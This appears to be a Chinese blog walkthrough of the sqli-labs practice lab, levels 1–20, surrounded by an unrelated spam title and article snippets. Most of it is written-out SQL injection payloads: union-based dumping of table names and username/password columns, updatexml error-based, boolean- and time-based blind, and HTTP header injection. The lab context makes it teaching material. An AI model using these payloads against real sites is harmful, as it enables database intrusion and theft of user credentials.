顺德公司网站制作/宁波seo排名外包公司
sqli-labs靶场实录:Basic Challenges
- sql手注基本流程
- Less-1
- 1.1探测注入点
- 1.2判断字段数
- 1.3判断回显位
- 1.4提取数据库基本信息
- 1.5拖取敏感数据
- Less-2
- Less-3
- Less-4
- Less5
- 爆表
- 爆列名
- Less6
- 爆库
- 爆表
- 爆列名
- Less7
- 猜解数据库长度
- 逐字符爆破数据库名
- Less8
- 爆库
- Less9
- 爆库
- Less10
- Less11
- Less12
- Less13
- Less14
- Less15
- 爆库
- Less16
- Less17(更新查询注入)
- Less18
- Less19
- Less20
- 免责声明:
sql手注基本流程
-
探测注入点和注入类型:在URL参数、表单等输入处插入单引号(‘)或逻辑语句(如’ OR 1=1–),观察是否返回数据库错误或异常数据,确认存在漏洞。
-
判断字段数:使用
ORDER BY n
逐步增加n值,直至页面报错,确定查询字段数量(如ORDER BY 3
报错则字段数为2)。 -
定位回显位:通过
UNION SELECT 1,2,3
匹配字段数,观察页面显示的数字位置(如显示"2"),确定可回显数据的字段。 -
提取数据库信息:在回显位替换为数据库函数,如
@@version
(版本)、database()
(当前库名),获取基础信息。 -
拖取敏感数据:查询系统表(如MySQL的information_schema.tables/columns),逐步获取表名、字段名,最终用
UNION SELECT username,password FROM users
提取数据。
Less-1
1.1探测注入点
这里通过提示可知需要通过输入id查询信息
故我们在url后拼接?id=1
发现页面改变
故判断存在数据库查询
接下来尝试输入?id=1 and 1=1
和?id and 1=2
观察是不是数字型注入
可以看到页面无变化
故不是数字型注入
下面构造?id=1'
可以看到页面报错
故存在字符型注入
构造?id=1'--+
成功闭合
1.2判断字段数
这里通过order by判断字段数
不断变化数字
出现报错则超过列数
构造?id=1'order by 3--+
页面正常
构造?id=1'order by 3--+
页面报错
故得出字段为3
1.3判断回显位
构造?id=-1'union select 1,2,3--+
得出回显位为2,3
1.4提取数据库基本信息
构造?id=-1'union select 1,database(),version()--+
得出数据库名为security 版本为5.5.47
1.5拖取敏感数据
查表名
构造?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
得到四个表名
解释:这里通过参数注入的方式,将恶意 SQL 语句嵌入到正常的查询中。
-1'
用于闭合原始查询中的字符串,union select
用来合并查询结果。group_concat(table_name)
将数据库中的所有表名合并成一列,information_schema.tables
是 MySQL 的元数据表,存储了数据库的表信息。where table_schema='security'
限制查询范围为security
数据库中的表。--+
是注释符号,用于忽略后面的内容。
查列名
构造
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
得到对应列名
解释:
-1'
:闭合原始 SQL 查询中的条件,破坏其逻辑。union select
:将攻击者的查询与原始查询合并,返回自定义结果。1,2
:占位符,匹配原始查询的列数,避免语法错误。group_concat(column_name)
:将查询结果中的列名拼接成一行,方便输出。information_schema.columns
:MySQL 的元数据表,存储所有表的列信息。table_name='users'
:限制查询范围为users
表。--+
:注释符号,忽略后续内容,避免语法错误。
爆数据
构造?id=-1' union select 1,2,group_concat(username ,password) from users--+
得到账户密码
Less-2
这一关从字符型注入转为了数字型注入
payload和第一关的唯一区别是id=1后面不再使用引号
其余正常使用
故po出测试payload如下
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
Less-3
这一关在测试注入点时发现报错信息出现了一个)
故尝试构造
?id=1')--+
闭合原查询语句的括号并注释掉查询语句后面的内容
故得出和前几关类似的payload如下
?id=1') order by 3--+(字段数判断)
?id=-1') union select 1,2,3--+(回显位判断)
?id=-1') union select 1,database(),version()--+(数据库信息判断)
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+(表名判断)
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+(列名判断)
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+(数据脱取)
Less-4
这一关测试注入点时发现输入单引号时页面不报错
说明不是单引号闭合
改用双引号闭合时报错
报错信息出现)
尝试构造
?id=1")–+
闭合成功
故可以得到类似的一系列payload
?id=1") order by 3--+(查字段)
?id=-1") union select 1,2,3--+(查回显位)
?id=-1") union select 1,database(),version()--+(查数据库信息)
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+(查表名)
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+(查列名)
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+(查信息)
Less5
这一关在判断注入点时输入?id=1'
报错
构造?id=1'--+
成功闭合
判断为字符型注入
与前面四关不同
这一关不会回显任何信息
却有数据库回显错误
故尝试使用报错函数updatexml
进行注入
先构造?id=1' and updatexml(1,1,1)--+
接着操控第二个参数
构造
?id=1'and updatexml(1,concat(1,1),1)--+
最后操控concat函数的第二个参数得到嵌套结果
用于查询数据库名
?id=1'and updatexml(1,concat(1,(select database())),1)--+
爆表
构造
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
解释:
- 闭合引号:
?id=1'
闭合原SQL语句中的单引号,添加注入条件。- 构造报错:
updatexml(1, concat(1, (子查询)), 1)
:
concat(1, ...)
:将子查询结果与数字1
拼接,生成非法XPath格式(如1users,posts
),触发错误。- 子查询:
select group_concat(table_name) from information_schema.tables where table_schema='security'
提取security
数据库的所有表名,group_concat
合并为单行字符串
爆列名
构造?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
解释:
- 闭合注入:
?id=1'
闭合原SQL单引号,引入恶意逻辑。- 触发报错:
updatexml(1, concat(1, (子查询), 1)
:
concat(1, ...)
:拼接子查询结果与1
,构造非法XPath(如1id,username,password
),触发语法错误。- 子查询:
提取select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
security
库中users
表的所有字段名,合并为单行(如id,username,password
)
Less6
这一关和上一关类似
测试注入符号时发现双引号报错
判断闭合方式换成了双引号闭合
故得到如下payload
爆库
?id=1"and updatexml(1,concat(1,(select database())),1)--+
爆表
?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
爆列名
?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
Less7
这一关测一下闭合符号
一顿操作后发现可以构造?id=1'))--+
进行闭合
尝试仿制上面的payload看看
?id=1')) and updatexml(1,concat(1,(select database())),1)--+
报错信息显示语法有问题
故这里用不了报错注入
尝试一些布尔盲注看看
猜解数据库长度
构造?id=1')) and length(database())=8--+
页面正常
构造?id=1')) and length(database())=9--+
页面报错
故得出长度为8
逐字符爆破数据库名
构造?id=1')) and ascii(substr(database(),1,1))>114--+
页面正常
构造?id=1')) and ascii(substr(database(),1,1))>115--+
页面报错
故得知数据库第一个字符ascii码为115=s
构造?id=1')) and ascii(substr(database(),2,1))>100--+
页面正常
构造?id=1')) and ascii(substr(database(),2,1))>101--+
页面报错
故得出第二个字符ascii码=101=e
逐步测试可爆出库名security
Less8
这里测一下该注入是怎么闭合的
尝试几个字符后可构造?id=1'--+
进行闭合
观察页面可知
页面只会回显ture
和flase
两种情况
故判断这里只能通过布尔盲注来测试
爆库
构造?id=1' and ascii(substr(database(),1,1))>114--+
页面正常
构造?id=1' and ascii(substr(database(),1,1))>115--+
页面无回显
故得出数据库第一个字母为s
ascii
=115
以此类推
得出数据库名=security
Less9
这一关测试了一下
发现不管id后拼接何值
页面都回显一样的内容
故判断布尔盲注失效
改用时间盲注测试
构造?id=1' and if(1=1,sleep(5),1)--+
发现页面延迟5s回显
故得出闭合条件为单引号闭合
爆库
构造?id=1'and if(length((select database()))>7,sleep(5),1)--+
延迟回显
构造?id=1'and if(length((select database()))>8,sleep(5),1)--+
正常回显
故得出数据库长度为8
构造?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
页面延迟回显
得出数据库第一个字母为s
以此类推得出数据库名security
Less10
这一关测试了一下发现和第九关的本质区别在于这里采用的是双引号闭合
将上一关payload
的单引号统一换成双引号后即可沿用
这里不过多赘述
Less11
这一关和前面的关卡比起来先进了许多
使用了登录框
但是换汤不换药
注入点由url
切换成了输入框
故我们在username
和password这两个参数进行测试即可
输入1’
页面报错
猜测存在字符型注入
类型为单引号闭合
测一下注释
发现前面--+
的注释条件无法沿用了
故改用#
注释
构造1'#
成功闭合
知道了闭合条件和注释符号就简单了
基于第一关的payload稍加改动即可进行漏洞的利用
这里给出爆出的库名payload示例
构造1'union select 1,database()#
即可
其他表名,列名同理
就不过多赘述了
Less12
这一关测了一下闭合符号
发现由单引号变成了双引号闭合
但是可以看到报错信息出现了括号
猜测原始查询语句为username=("1")
故构造1")#
成功闭合
payload的制作思路和上一关类似
只不过是闭合符号的不同罢了
示例构造1")union select 1,database()#
爆出库名
Less13
这一关的可以构造闭合语句1')#
但是尝试沿用上面的payload不成功
语句正确时页面不会回显任何信息
故这里采用报错注入
payload沿用第五关的即可
构造1')and updatexml(1,concat(1,(select database())),1)#
爆出库名
Less14
这一关闭合语句为1"#
payload的制作仿用第13关的报错注入即可
构造1"and updatexml(1,concat(1,(select database())),1)#
爆出库名
Less15
这一关使用普通注入和报错注入都无效
尝试使用盲注
爆库
构造1'or (length(database())=7)#
页面报错
构造1'or (length(database())=8)#
页面正常回显
故得出数据库长度为8
构造1'or (ascii(substr(database(),1,1)))=114#
页面报错
构造1'or (ascii(substr(database(),1,1)))=115#
页面正常回显
故得出数据库第一个字母为s
以此类推得出库名security
Less16
这一关还是需要盲注
但是闭合符号换成了")
闭合
盲注手法沿用第十五关的即可
示例构造1")or (ascii(substr(database(),1,1)))=115#
页面正常回显
得出数据库首字母=s
Less17(更新查询注入)
这一关可以看到是一个密码重置的页面
故这是一次功能点的测试
使用用户admin
进行测试
因为重置密码涉及update
的数据库语句
故判断漏洞可能出现在new password
参数里面
尝试在对应输入框进行注入
构造admin/1'
发现数据库报错
构造admin/1'#
闭合成功
经测试这里普通注入行不通
故采用报错注入
构造admin/1'and updatexml(1,concat(1,database()),1)#
报错出数据库
Less18
这一关可以看到页面出现了本机IP地址
说明我们的信息被网站记录进了数据库
那么判断这里可能存在HTTP头注入
我们输入正确的账户密码看看(前面密码重置那一关可以自己设置admin账户的密码)
登录成功
发现显示User-agen头
故在User-agent参数进行注入测试
这里要判断一下注入是否存在
我们用Bp抓包发到重放器改包
在User-agent参数后加上单引号
发现数据库报错
故存在注入点
这里我们可以通过报错注入得到数据库名称
基于源码切片
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);if($row1){echo '<font color= "#FFFF00" font size = 3 >';$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
我们可以得到User agent
的参数组成如下
(`uagent`, `ip_address`, `username`)
故构造'and updatexml(1,concat(1,database()),1)and'
成功爆库
Less19
这一关仍是Http头注入
登录成功后我们发现
这次显示的是Refer头
故在Refer
参数构造payload
注入即可
同理上一关抓包改包
构造:'and updatexml(1,concat(1,database()),1)and'
爆库成功
Less20
这一关登录成功后发现页面回显3个参数
因为这个仍是HTTP头注入
在测试前两个参数注入无果后尝试选择Cookie参数注入
刷新一下页面
拦截一下这个带cookie的请求
抓包改包
构造admin'and updatexml(1,concat(1,database()),1)#
爆库成功
免责声明:
本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。
相关文章:

Sqli-labs靶场实录(一):Basic Challenges
sqli-labs靶场实录:Basic Challenges sql手注基本流程Less-11.1探测注入点1.2判断字段数1.3判断回显位1.4提取数据库基本信息1.5拖取敏感数据 Less-2Less-3Less-4Less5爆表爆列名 Less6爆库爆表爆列名 Less7猜解数据库长度逐字符爆破数据库名 Less8爆库 Less9爆库 Less10Less11…...

2024最新版Node.js详细安装教程(含npm配置淘宝最新镜像地址)
一:Node.js安装 浏览器中搜索Nodejs,或直接用网址:Node.js — 在任何地方运行 JavaScript 建议此处下载长期支持版本(红框内): 开始下载,完成后打开文件: 进入安装界面,在此处勾选,再点击n…...

RK3568使用QT搭建TCP服务器和客户端
文章目录 一、让RK3568开发板先连接上wifi二、客户端代码1. `widget.h` 文件2. `widget.cpp` 文件**详细讲解**1. **`Widget` 类构造函数 (`Widget::Widget`)**2. **UI 布局 (`setupUI`)**3. **连接按钮的槽函数 (`onConnectClicked`)**4. **发送消息按钮的槽函数 (`onSendMess…...

Android学习20 -- 手搓App2(Gradle)
1 前言 昨天写了一个完全手搓的:Android学习19 -- 手搓App-CSDN博客 后面谷歌说不要用aapt,d8这些来搞。其实不想弄Gradle的,不过想着既然开始了,就多看一些。之前写过一篇Gradle,不过是最简单的编译,不涉…...

LeetCode - Google 大模型10题 第2天 Position Embedding(位置编码) 3题
欢迎关注我的CSDN:https://spike.blog.csdn.net/ 本文地址:https://spike.blog.csdn.net/article/details/145454489 在 Transformer 架构中,位置编码(Position Embedding) 是辅助模型理解序列中元素顺序的关键机制。绝对位置编码(Absolute P…...

PostgreSQL 数据库备份与还原
为了安全与数据共享等,创建好的数据库有时候需要备份操作和还原操作。数据库的备份与还原主要是三个命令:pg_dump、pg_dumpall 和 pg_restore 。 其中pg_dump用于备份单个数据库,它支持多种备份格式(SQL、自定义等)&a…...

proxmox通过更多的方式创建虚拟机
概述 作为一名资深运维工程师,我们经常需要在 Proxmox 虚拟化平台上创建和管理虚拟机。本文将介绍三种不同的方式在 Proxmox 上创建 Ubuntu 虚拟机: 通过 Proxmox 命令创建虚拟机通过 Shell 脚本自动化创建虚拟机使用 Proxmox API 创建虚拟机 每种方式…...

WordPress使用(2)
上一篇文章讲述了WordPress的基本安装,主要是docker方式的处理。本文章主要介绍WordPress安装后的其他设置。 1. 安装后设置 安装后碰到的第一个需求就是安装一个合适的主题,但WordPress默认的上传文件大小是2M,远远无法满足要求࿰…...

git中文件的状态状态切换
文件的状态分类 Git 中文件的状态主要分为以下几种: Untracked(未跟踪) 定义:这些文件从未被 Git 跟踪过,通常是因为它们是新创建的文件,或者被 .gitignore 排除在外。 示例:新创建的文件 new…...

解决php8.3无法加载curl扩展
把它的值更改为扩展存在的目录的绝对路径(扩展存在的目录为有php_xxx.dll存在的目录) extension_dir "e:\serv\php83\ext" 然后从php根目录复制 libssh2.dll 和 libcrypto-*.dll 和 libssl-*.dll 到Apache根目录下的bin目录 重启apache服务即可...

三路排序算法
三路排序算法 引言 排序算法是计算机科学中基础且重要的算法之一。在数据分析和处理中,排序算法的效率直接影响着程序的执行速度和系统的稳定性。本文将深入探讨三路排序算法,包括其原理、实现和应用场景。 一、三路排序算法的原理 三路排序算法是一…...

入行FPGA设计工程师需要提前学习哪些内容?
FPGA作为一种灵活可编程的硬件平台,广泛应用于嵌入式系统、通信、数据处理等领域。很多人选择转行FPGA设计工程师,但对于新手来说,可能在学习过程中会遇到一些迷茫和困惑。为了帮助大家更好地准备,本文将详细介绍入行FPGA设计工程…...

DBASE DBF数据库文件解析
基于Java实现DBase DBF文件的解析和显示 JDK19编译运行,实现了数据库字段和数据解析显示。 首先解析数据库文件头代码 byte bytes[] Files.readAllBytes(Paths.get(file));BinaryBufferArray bis new BinaryBufferArray(bytes);DBF dbf new DBF();dbf.VersionN…...

html基本结构和常见元素
html5文档基本结构 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><title>文档标题</title> </head> <body>文档正文部分 </body> </html> html文档可分为文档头和文档体…...

JAVAweb学习日记(十) Mybatis入门操作
一、介绍 二、快速入门程序 三、入门-数据库连接池 四、入门-lombok工具包...

从Transformer到世界模型:AGI核心架构演进
文章目录 引言:架构革命推动AGI进化一、Transformer:重新定义序列建模1.1 注意力机制的革命性突破1.2 从NLP到跨模态演进1.3 规模扩展的黄金定律 二、通向世界模型的关键跃迁2.1 从语言模型到认知架构2.2 世界模型的核心特征2.3 混合架构的突破 三、构建…...

Rk3588芯片介绍(含数据手册)
芯片介绍:RK3588是一款低功耗,高性能的处理器,适用于基于arm的PC和边缘计算设备,个人移动互联网设备和其他数字多媒体应用,集成了四核Cortex-A76和四核Cortex-A55以及单独的NEON协处理器 视频处理方面:提供…...

java开发面试自我介绍模板_java面试自我介绍3篇
java 面试自我介绍 3 篇 java 面试自我介绍篇一: 我叫赵,我的同学更都喜欢称呼我的英文名字,叫,六月的 意思,是君的谐音。我来自安徽的市,在 21 年我以市全市第一名 的成绩考上了大学,…...

w193基于Spring Boot的秒杀系统设计与实现
🙊作者简介:多年一线开发工作经验,原创团队,分享技术代码帮助学生学习,独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取,记得注明来意哦~🌹赠送计算机毕业设计600个选题excel文…...

chrome浏览器chromedriver下载
chromedriver 下载地址 https://googlechromelabs.github.io/chrome-for-testing/ 上面的链接有和当前发布的chrome浏览器版本相近的chromedriver 实际使用感受 chrome浏览器会自动更新,可以去下载最新的chromedriver使用,自动化中使用新的chromedr…...

【HTML入门】Sublime Text 4与 Phpstorm
文章目录 前言一、环境基础1.Sublime Text 42.Phpstorm(1)安装(2)启动Phpstorm(3)“启动”码 二、HTML1.HTML简介(1)什么是HTML(2)HTML版本及历史(3)HTML基本结构 2.HTML简单语法(1)HTML标签语法(2)HTML常用标签(3)表格(4)特殊字符 总结 前言 在当今的软件开发领域,…...

Python----Python高级(并发编程:进程Process,多进程,进程间通信,进程同步,进程池)
一、进程Process 拥有自己独立的堆和栈,既不共享堆,也不共享栈,进程由操作系统调度;进程切换需要的资源很最大,效率低。 对于操作系统来说,一个任务就是一个进程(Process)ÿ…...

汽车自动驾驶AI
汽车自动驾驶AI是当前汽车技术领域的前沿方向,以下是关于汽车自动驾驶AI的详细介绍: 技术原理 感知系统:自动驾驶汽车通过多种传感器(如激光雷达、摄像头、雷达、超声波传感器等)收集周围环境的信息。AI算法对这些传感…...

Linux之安装MySQL
1、查看系统当前版本是多少位的 getconf LONG_BIT2.去官网下载对应的MYSQL安装包 这里下载的是8版本的,位数对应之前的64位 官网地址:https://downloads.mysql.com/archives/community/ 3.上传压缩包 4.到对应目录下解压 tar -xvf mysql-8.0.26-lin…...

说说Redis的内存淘汰策略?
大家好,我是锋哥。今天分享关于【说说Redis的内存淘汰策略?】面试题。希望对大家有帮助; 说说Redis的内存淘汰策略? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Redis 提供了多种内存淘汰策略,用于在内存达到限制时决定如何…...

SQL范式与反范式_优化数据库性能
1. 引言 什么是SQL范式 SQL范式是指数据库设计中的一系列规则和标准,旨在减少数据冗余、提高数据完整性和一致性。常见的范式包括第一范式(1NF)、第二范式(2NF)、第三范式(3NF)和BCNF(Boyce-Codd范式)。 什么是SQL反范式 SQL反范式是指在满足范式要求的基础上,有…...

从BIO到NIO:Java IO的进化之路
引言 在 Java 编程的世界里,输入输出(I/O)操作是基石般的存在,从文件的读取写入,到网络通信的数据传输,I/O 操作贯穿于各种应用程序的核心。BIO(Blocking I/O,阻塞式 I/O࿰…...

Mysql:数据库
Mysql 一、数据库概念?二、MySQL架构三、SQL语句分类四、数据库操作4.1 数据库创建4.2 数据库字符集和校验规则4.3 数据库修改4.4 数据库删除4.4 数据库备份和恢复其他 五、表操作5.1 创建表5.2 修改表5.3 删除表 六、表的增删改查6.1 Create(创建):数据新增1&#…...

深度学习系列--01.入门
一.深度学习概念 深度学习(Deep Learning)是机器学习的分支,是指使用多层的神经网络进行机器学习的一种手法抖音百科。它学习样本数据的内在规律和表示层次,最终目标是让机器能够像人一样具有分析学习能力,能够识别文字…...

【Elasticsearch】`auto_date_histogram`聚合功能详解
1.功能概述 auto_date_histogram是 Elasticsearch 提供的一种时间分桶聚合功能,它可以根据数据分布自动调整分桶的间隔,以生成指定数量的分桶。与传统的date_histogram不同,auto_date_histogram不需要用户手动指定时间间隔,而是根…...